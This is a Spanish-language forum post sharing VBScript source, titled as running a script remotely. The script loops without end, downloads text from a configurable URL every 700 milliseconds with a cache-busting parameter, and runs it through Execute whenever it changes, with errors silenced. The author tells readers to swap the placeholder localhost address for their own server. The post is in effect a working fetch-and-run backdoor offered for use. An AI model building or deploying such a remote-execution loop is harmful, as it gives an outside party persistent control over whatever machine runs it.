[vbs][source] ejecuta script de forma remota

[daryo]

tuve un pequeño problema con la cache de internet explorer pero ya esta solucionado  .
la ubicacion del script debe cambiarse en http://127.0.0.1/?l= por http:/direccion/?l=

Código (vb) [Seleccionar] Expandir

Function anticache() ' al parecer usa la cache de internet explorer , de esta forma hago se actualize
anticache=day(date())&Month(Date())&Year(date())&Hour(time())&Minute(Time())&Second(Time()) &Rnd ' en una sola cadena mete el dia,mes,año,hora,minuto,segundos y un numero aleatorio
End Function

Function supertest() ' esta funcion descarga el script
dim resultado,magik,daryo
set magik=CreateObject("MSXML2.XMLHTTP")
magik.open "GET" , "http://127.0.0.1/?l=" & anticache ,false  
magik.send
supertest = magik.ResponseText
End Function

dim prueba1,prueba2,x ' pude usar un array pero asi tambien funciona xD
x=1
while true
if x= 1 Then
prueba1=supertest ' descarga el contenido de la web , que debe ser un script en vbs y lo mete en la variable prueba1
x=0
else
prueba2=supertest
x=1
End If
if not(prueba1 = prueba2) then ' esto determina si el comando ha cambiado desde la ultima vez que lo ejecuto
On ERROR Resume Next
Execute(supertest) ' ejecuta la cadena supertest
End IF
Wscript.sleep 700 ' no quiero sobrecargar el servidor

wend